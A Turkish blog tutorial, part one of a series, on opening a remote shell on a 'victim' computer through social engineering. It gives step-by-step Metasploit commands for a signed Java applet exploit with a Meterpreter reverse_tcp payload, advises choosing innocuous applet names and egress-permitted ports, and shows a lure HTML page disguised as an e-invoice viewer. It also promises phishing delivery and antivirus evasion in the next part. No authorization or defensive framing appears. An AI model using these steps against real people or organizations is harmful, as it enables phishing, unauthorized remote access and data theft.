29 Aralık 2014

Sosyal Mühendislik Yöntemiyle Kurban Bilgisayarına Shell Açma - Bölüm-1:Saldırı Kodunun Hazırlanması

Bu makalemizde sosyal mühendislik konusu üzerinde duracağız ve sosyal mühendislik yöntemlerini kullanarak kurban bilgisayar üzerinde shell açmayı anlatacağız.
Sosyal mühendislik saldırıları bilindiği gibi insana yönelik ya da daha doğru bir ifadeyle insan doğasının zaaflarından yararlanmaya yönelik olarak gerçekleştirilen bir saldırı türüdür. Bu tür saldırılarda genel amaç bilgi sızdırmadır. Saldırgan kişilerce sistemden bilgi toplama ya da sisteme bir giriş kapısı açmaya yönelik olarak faydalanılan bu saldırı yöntemi, diğer saldırı yöntemleri gibi zaman içinde evrilmiş ve etkileri daha büyük boyutlara ulaşacak noktaya gelmiştir. Özellikle spear phishing denilen hedef odaklı oltalama saldırıları çok yaygın olarak kullanılır durumdadır.

Makalemizde bahsedeceğimiz yöntemde, kurban bilgisayarına shell açabileceğimiz bir saldırı kodunun nasıl oluşturulabileceğinden bahsederek, oluşturulan saldırı kodunu oltalama saldırısı ile kurban bilgisayarında çalıştırma senaryosu üzerinde duracağız. Makalenin ilk bölümünde saldırı kodunun oluşturulması, ikinci bölümünde ise hazırlanan saldırı kodunun phishing sitesine konularak kurban bilgisayarına bağlanılması anlatılacaktır.

Metasploit Framework Kullanılarak Saldırı Kodunun Oluşturulması

Saldırı kodunu oluşturmak için Metasploit Framework’ünden yararlanacağız. Metasploit payload’u içeren imzalanmış bir applet oluşturmak için aşağıdaki adımlar izlenir:
Run as administrator ile metasploit console’u açıyoruz.



“use exploit/multi/browser/java_signed_applet” komutu ile exploit türünü belirliyoruz.



“show options” komutu ile exploit’un parametrelerini görüntülüyoruz. Applet adı (APPLETNAME ve CERTCN parametreleri) daha dikkat çekmeyecek bir ad ile değiştirilmek isteniyorsa değiştirilebilir. Ayrıca kullanılacak olan URI bilgisi de (URIPATH parametresi) kullanacağınız senaryoda hedef kişileri çekeceğiniz web sayfa yolu ile aynı olmalıdır.

·         Show options komutu ile exploit opsiyonlarının görüntülenmesi


·         APPLETNAME ve CERTCN parametrelerinin senaryoya uygun hale dönüştürülmesi

· URIPATH parametresinin senaryoya uygun hale getirilmesi (üretilecek appletin çağrılacağı HTML sayfasının bu dizin altında bulunması gerekecektir)

·         Söz konusu düzenlemelerden sonra exploit parametrelerinin son değerleri

“set payload windows/meterpreter/reverse_tcp” komutu ile çalıştığında bizim tanımlayacağımız IP adresi ve porta bağlantı kurarak bize tünel açacak payload’un kullanımını sağlıyoruz.


·         “set payload windows/meterpreter/reverse_tcp” komutu ile payload’un belirlenmesi


Yine “show options” komutu çalıştırıldığında hem exploit’un hem de payload’un opsiyonları görüntülenir. Payload opsiyonu olarak (LHOST parametresi olarak) test için kullandığımız modemin internet IP adresi ve (LPORT parametresi olarak) 443 portu tanımlanır (modem üzerinde 443 portu için port forwarding tanımı yapılır).

·         “show options” komutu ile payload’un da opsiyonlarının görüntülenmesi


·        Payload LHOST ve LPORT parametrelerinin kullanılan internet IP adresi ve hedef organizasyon networkünden dışarı çıkma izni olabilecek bir port olarak belirlenmesi (ör: 443,53, v.d.)



Tüm tanımlar yapıldıktan sonra “exploit” komutu ile metasploit’un bizim için JAR dosyasını oluşturması, exploit opsiyonları arasında belirtilen SRVPORT portundan dinleyecek bir http servisini başlatması ve basit bir HTML dosyası oluşturarak içinden üretilecek applet’i çağırması sağlanır. (Bazı sistemlerde ephemeral portlar dışında – yani 1024 portu ve altında olan - bir porta bir servis bind edeceğiniz zaman bu işlemi ancak sistem yöneticisi hakları ile yapma kısıtı olabilir. Bu durumda metasploit console’u “Run as administrator” seçeneği ile çalıştırmanız gerekir.)
·         “exploit” komutuyla payload’un üretilmesi, belirtilen exploit portundan (yukarıdaki örnekte SRVPORT parametresi 8080’dir) http servisinin başlatılması ve belirtilen URIPATH değişkenine uygun bir dizinden applet’i çağıran sayfanın yayınlanması

(Önemli Not: Aşağıdaki örnekte olduğu gibi 443 portunda bir handler çalıştırmak istediğinizde – ki bu hem JAR dosyasını elde etmek için hem de daha sonra multi handler exploit’unu kullanırken önemli olacaktır – bu portu kullanan farklı bir servisin, ör: XAMPP, çalışmadığından emin olmanız gereklidir. XAMPP’ı senaryonuza uygun olarak oluşturduğunuz sahte siteyi yayınlamak için kullandığınızda Apache konfigürasyonundan handler’ın kullanacağı 443 portu ile çakışmaması için bu porttan listen etmemesini sağlamanız gerekmektedir. Söz konusu konfigürasyon dosyası örnek olarak aşağıdaki dizindeki şu dosyada bulunmaktadır:
“C:\xampp\apache\conf\extra” dizini altındaki “httpd-ssl.conf” dosyası
Bu dizin sizin bilgisayarınızda da XAMPP kurulum dizininiz altında benzer bir alanda olacaktır. Birincil konfigürasyon dosyası yukarıdaki dizinin bir üst dizininde bulunan httpd.conf dosyası olup extra alt dizinindeki belli konfigürasyon dosyaları bu dosya içinde include edilir (yani konfigürasyona dahil edilir).
Aşağıda düzenleme yapılmadan önceki konfigürasyon ve yapıldıktan sonraki konfigürasyonu görebilirsiniz:

Önceki konfigürasyon
#Listen 0.0.0.0:443
#Listen [::]:443
Listen 443

Sonraki konfigürasyon (son satır da commentlenerek etkisiz hale getirilmiştir)
#Listen 0.0.0.0:443
#Listen [::]:443
#Listen 443

XAMPP panelinde Apache servisini kapatıp tekrar açtığınızda yeni konfigürasyon etkin hale gelecektir.
Yaptığınız değişikliğin etkili olup olmadığını “netstat –an | more” komutu ile bind edilen portları izleyerek görebilirsiniz.)


Oluşturulan Jar Dosyasının Elde Edilmesi

Oluşturacağımız senaryoya uygun bir biçimde hazırlayacağımız sayfanın içine koyacağınız “JAR” dosyasını elde etmek için yapılacak http iletişiminin Burp Suite ile dinlenmesi ve JAR dosyasının diske bir dosya olarak (mümkünse örnek Applet çağıran dosyada belirtilen ismi ile, çünkü bu durumda örnek HTML dosyasındaki Jar ve class isimlerini aynen kullanabiliriz) kaydedilmesi gerekmektedir. Burp kaydedeceği dosyanın içinden http başlıklarını temizlemeyeceğinden bu işlemi bizim Notepad++ ile kendimizin yapması ve dosyayı kaydetmesi gerekir. JAR dosyasının içinde bulunan dosyaları merak ederseniz dosyanın bir kopyasını alıp RAR uzantılı hale getirerek WinRAR ile açabilirsiniz. JAR dosyası nihayetinde bir arşiv dosyası olup birden fazla dosya barındırabilir. Ancak HTML dosyasının içindeki Applet etiketinin özelliklerinde Jar dosyası ve içinden kullanılacak olan Java class dosya isimlerinin doğru olması gereklidir.
BurpSuite ile dinleme ve Jar dosyasının barındırıldığı dosyaya erişmek için yine metasploit’un çalıştığı bilgisayar kullanılabilir. Browser’da klasik biçimde 127.0.0.1 üzerindeki 8080 portu proxy olarak tanımlandıktan sonra bilgisayarın ağ erişimi için kullanılan IP adresi (ör: 192.168.2.6) metasploit’un sunduğu dosyaya erişmek için kullanıldığında (ki metasploit’un ekranında bu IP adresi ve erişilecek dizin ismi görülecektir, sadece bu bilgi kopyalanarak HTML sayfasına erişilebilir) trafik Burp üzerinden geçecektir.

·         Jar dosyasını ve bu dosyayı çağıran HTML dosyasını elde etmek için Burp üzerinden trafiğini geçiren browser erişimi (aşağıdaki örnek farklı bir IP adresi alınan durumda görüntülenmiştir, normalde yukarıda görüldüğü gibi 192.168.2.6 olabilirdi)



·         Applet etiketini barındıran HTML sayfa örneği


<html><head><title>Loading, Please Wait...</title></head>
<body><center><p>Loading, Please Wait...</p></center>
<applet archive="/efatura/goruntuleme/FaturaGoruntuleme.jar"
  code="FaturaGoruntuleme" width="1" height="1">
</applet>
</body></html>

·         Applet etiketi dolayısıyla çağrılan Jar dosyası


·    Jar dosyasının bir disk dosyası olarak kaydedilmesi ve http başlıklarının temizlenmesi (sağ kliklendikten sonra “Copy to file” seçilerek aşağıdaki menü görüntülenir, dosya ismi elle yazılır)


·         Notepad++ ile http başlıkları temizlenmeden önce


·         http başlıkları temizlendikten ve dosya tekrar kaydedildikten sonra


·  Bilgisayar üzerinde XAMPP sunucu üzerinden sunulacak web sayfasının ve Jar dosyasının konuşlandırıldığı dizin (bu dizinin adı senaryoya uygun olmalıdır)


Buraya kadar anlattığımız bölümde Metasploit console (msfconsole) üzerinde yapılacak işlemler ve browser aracılığı ile metasploit üzerinde çalışan HTTP sunucusuna erişmek ve Jar dosyasını indirmek için yapılacak işlemlerden bahsettik. Gelecek yazımızda, sahte web sayfasının oluşturulması ve sunulması için izlenecek adımlardan, metasploit console üzerinden multi handler exploit’unun çalıştırılması için izlenecek adımlardan ve kurbanın oluşturulan web sayfasının linkine tıklanmasının sağlanması ve kurban bilgisayara erişim için izlenecek adımlardan bahsedeceğiz. Ek olarak Antivirüs’lerden mümkün olduğunca kaçınabilmek için JAR dosyasının ve dosya içindeki EXE dosyasının oluşturulması için izlenebilecek yöntemlere de değineceğiz.


                                                                                                                                    Sonraki Bölüm>>